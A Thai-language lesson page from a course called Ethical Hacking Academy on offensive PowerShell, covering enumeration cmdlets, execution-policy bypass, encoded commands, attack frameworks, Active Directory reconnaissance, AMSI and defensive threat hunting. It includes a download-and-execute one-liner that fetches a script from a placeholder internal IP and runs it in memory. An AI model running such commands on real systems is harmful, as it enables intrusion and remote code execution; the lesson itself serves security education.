0Pricing
Ethical Hacking Academy · บทเรียน

PowerShell สำหรับผู้โจมตี

PowerShell เชิงรุก

PowerShell สำหรับผู้โจมตี เป็นบทเรียน Ethical Hacking Academy ฟรีบน CoddyKit นี่คือบทเรียนที่ 4 จากทั้งหมด 4 บทเรียน คุณสามารถอ่านบทเรียนทั้งหมดด้านล่างฟรี — จากนั้นลองปฏิบัติด้วยตัวคุณเองในเบราว์เซอร์พร้อมตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7 บทเรียนนี้เป็นส่วนหนึ่งของเส้นทางการเรียน Ethical Hacking Academy และความก้าวหน้าของคุณจะซิงค์ข้ามเว็บและแอป CoddyKit คอร์ส Ethical Hacking Academy มีบทเรียนทั้งหมด 4 บทเรียน

เหตุผลที่ใช้ PowerShell

PowerShell มีอยู่ใน Windows ผสานรวมอย่างลึกซึ้งกับ OS และ .NET และได้รับความไว้วางใจจากผู้ดูแลระบบ จึงเป็นเครื่องมือ ใช้ทรัพยากรที่มีอยู่ในระบบ ยอดนิยมของผู้โจมตี เพราะไม่ต้องนำมัลแวร์เข้าไปวาง

บทเรียนนี้ครอบคลุมแนวคิด PowerShell เชิงรุกที่คุณต้องเข้าใจเพื่อโจมตีและป้องกัน Windows

คำสั่งย่อยและไปป์ไลน์

คำสั่ง PowerShell คือ คำสั่งย่อย ในรูปแบบกริยา-คำนาม โดยส่งผ่าน ออบเจ็กต์ ที่มีข้อมูลครบถ้วน (ไม่ใช่แค่ข้อความ) ไปตามไปป์ไลน์ ทำให้การแจกแจงระบบมีประสิทธิภาพ

Get-Process | Where-Object { $_.CPU -gt 10 } | Select-Object Name, Id

การแจกแจงระบบ

ผู้โจมตีใช้คำสั่งย่อยที่มีมาให้ในระบบเพื่อสำรวจโฮสต์ได้อย่างรวดเร็ว ทั้งผู้ใช้ บริการ เครือข่าย และแพตช์

Get-LocalUser
Get-Service | Where-Object Status -eq 'Running'
Get-NetTCPConnection -State Listen

นโยบายการเรียกใช้ไม่ใช่ความปลอดภัย

นโยบายการเรียกใช้ จำกัดการเรียกใช้ไฟล์สคริปต์ แต่ไม่ใช่ขอบเขตความปลอดภัย มีตัวเลือกง่าย ๆ มากมายที่ใช้ข้ามข้อจำกัดนี้ได้ ดังนั้นผู้ป้องกันจึงไม่ควรพึ่งพานโยบายนี้

powershell -ExecutionPolicy Bypass -File script.ps1

ดาวน์โหลดและเรียกใช้

เทคนิคทั่วไปคือดึงข้อมูลน้ำหนักบรรทุกมาแล้วเรียกใช้ในหน่วยความจำ ทำให้มีสิ่งตกค้างบนดิสก์เพียงเล็กน้อย ด้วยเหตุนี้การตรวจสอบเครือข่ายและ AMSI จึงมีความสำคัญ

IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.5/tool.ps1')

คำสั่งที่เข้ารหัส

แฟล็ก -EncodedCommand จะเรียกใช้ PowerShell ที่เข้ารหัสด้วย Base64 ซึ่งมักใช้เพื่อซ่อนเจตนาจากการตรวจสอบแบบผิวเผินและตัวกรองอย่างง่าย

ผู้ป้องกันจะถอดรหัสคำสั่งเหล่านี้จากบันทึก เพื่อเปิดเผยว่ามีการเรียกใช้อะไรจริง

powershell -EncodedCommand <base64-here>

เฟรมเวิร์กเชิงรุก

ชุดเครื่องมือที่พัฒนามาอย่างสมบูรณ์ต่อยอดจากพื้นฐานเหล่านี้:

  • PowerSploit / PowerView - การแจกแจง AD และการโจมตีหลังการยึดระบบ
  • Empire / Covenant - การสั่งการและควบคุม
  • Nishang - สคริปต์เชิงรุก

ปัจจุบันระบบป้องกันส่วนใหญ่มีลายเซ็นตรวจจับเครื่องมือเหล่านี้อย่างเข้มงวดแล้ว

การลาดตระเวน Active Directory

ในโดเมน PowerShell (PowerView หรือโมดูล AD) จะทำแผนที่ผู้ใช้ กลุ่ม และความสัมพันธ์ด้านความเชื่อถือ ซึ่งเป็นพื้นฐานสำหรับค้นหาเส้นทางไปสู่ผู้ดูแลโดเมน

Get-ADUser -Filter * -Properties LastLogonDate
Get-ADGroupMember 'Domain Admins'

AMSI และการบันทึกกิจกรรม

Microsoft ได้เพิ่มการป้องกันสำหรับการใช้ PowerShell ในทางที่ผิดโดยเฉพาะ:

  • AMSI (ส่วนติดต่อการสแกนป้องกันมัลแวร์) จะสแกนเนื้อหาสคริปต์ก่อนเรียกใช้
  • การบันทึกบล็อกสคริปต์ จะบันทึกสิ่งที่ถูกเรียกใช้
  • โหมดภาษาที่จำกัด จะจำกัดความสามารถที่เป็นอันตราย

ผู้โจมตีพยายามข้าม AMSI ส่วนผู้ป้องกันจะเฝ้าดูบันทึก

การค้นหาภัยคุกคามเชิงป้องกัน

ทีมป้องกันจะค้นหา PowerShell ที่เป็นอันตรายโดยมองหา:

  • คำสั่งที่เข้ารหัสหรือทำให้อ่านได้ยาก
  • การดึงข้อมูลจากเครือข่ายด้วย DownloadString / IEX
  • กระบวนการแม่ที่ผิดปกติ (Office เรียกใช้ PowerShell)
  • บันทึกบล็อกสคริปต์จาก AMSI และเหตุการณ์ ID 4104

ใช้อย่างมีจริยธรรม

เทคนิคเหล่านี้มีประสิทธิภาพสูงและสอดคล้องโดยตรงกับการบุกรุกจริง โปรดเรียกใช้เฉพาะในห้องทดลองของคุณเอง หรือเมื่อได้รับอนุญาตเป็นลายลักษณ์อักษรอย่างชัดเจนเท่านั้น

การฝึกด้านการป้องกัน เช่น การอ่านบันทึกและสังเกตการตรวจพบโดย AMSI มีคุณค่าไม่แพ้ด้านการโจมตี

ตรวจสอบอย่างรวดเร็ว

ประเมินนโยบายการเรียกใช้ในฐานะมาตรการควบคุม

สรุปทบทวน

คุณได้สำรวจ PowerShell เชิงรุก:

  • คำสั่งย่อย ที่ทำงานกับออบเจ็กต์ทำให้การแจกแจงระบบมีประสิทธิภาพและแฝงตัวได้ดี (การใช้ทรัพยากรที่มีอยู่ในระบบ)
  • การดาวน์โหลดแล้วเรียกใช้ คำสั่งที่เข้ารหัส และเฟรมเวิร์กอย่าง PowerView/Empire
  • นโยบายการเรียกใช้ ไม่ใช่ความปลอดภัย ส่วน AMSI และ การบันทึกบล็อกสคริปต์ คือการป้องกันที่แท้จริง
  • ปฏิบัติงานอย่างมีจริยธรรมและศึกษาแนวทางการป้องกันอยู่เสมอ

หลักสูตร Windows Internals นี้จบลงแล้ว

คำถามที่พบบ่อย

บทเรียน “PowerShell สำหรับผู้โจมตี” ฟรีหรือไม่

ใช่ — ข้อความเต็มของ “PowerShell สำหรับผู้โจมตี” ฟรีให้อ่านที่นี่บนเว็บ เพื่อปฏิบัติแบบโต้ตอบ (ตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7) และปลดล็อคส่วนที่เหลือของคอร์ส Ethical Hacking Academy ให้อัปเกรดเป็น CoddyKit PRO คอร์ส Ethical Hacking Academy มีบทเรียนทั้งหมด 4 บทเรียน

คุณจะเรียนรู้อะไรในบทเรียน “PowerShell สำหรับผู้โจมตี”

PowerShell เชิงรุก คุณปฏิบัติ Ethical Hacking Academy ด้วยโค้ดที่ใช้งานได้จริงที่คุณเรียกใช้โดยตรงในเบราว์เซอร์ และติวเตอร์ AI ตลอด 24/7 ตอบคำถามของคุณขณะที่คุณไปผ่านบทเรียน

คุณต้องมีประสบการณ์ก่อนที่จะเริ่มเรียน Ethical Hacking Academy หรือไม่

ไม่จำเป็นต้องมีประสบการณ์มาก่อน Ethical Hacking Academy บน CoddyKit ออกแบบมาสำหรับผู้เริ่มต้นไปจนถึงผู้เรียนขั้นสูง คุณสามารถเริ่มต้นที่นี่หรือเริ่มจากตัวแรกและเรียนด้วยความเร็วของคุณเอง นี่คือบทเรียนที่ 4 จากทั้งหมด 4 บทเรียน

บทเรียน “PowerShell สำหรับผู้โจมตี” ใช้เวลานานแค่ไหน

บทเรียน CoddyKit ส่วนใหญ่ใช้เวลาประมาณ 5–10 นาที แต่ละบทเรียนจึงสั้นและเป็นแบบโต้ตอบ คุณสามารถก้าวหน้าอย่างต่อเนื่องและกลับมาเรียนต่อจากตรงที่เพิ่งหยุดบนเว็บและแอปได้เลย

ฉันเขียนและรันโค้ดในบทเรียน Ethical Hacking Academy นี้ได้ไหม

ได้ บทเรียน Ethical Hacking Academy ทุกบทมีตัวแก้ไขโค้ดในตัว คุณจึงเขียนและรันโค้ดจริงได้เลยในเบราว์เซอร์ และได้รับข้อเสนอแนะจาก AI ในทันที — ไม่ต้องติดตั้งในเครื่องของคุณ

บทเรียนทั้งหมดในหลักสูตรนี้

  1. สถาปัตยกรรม Windows
  2. รีจิสทรี
  3. การยืนยันตัวตนของ Windows
  4. PowerShell สำหรับผู้โจมตี
← กลับไปที่ Ethical Hacking Academy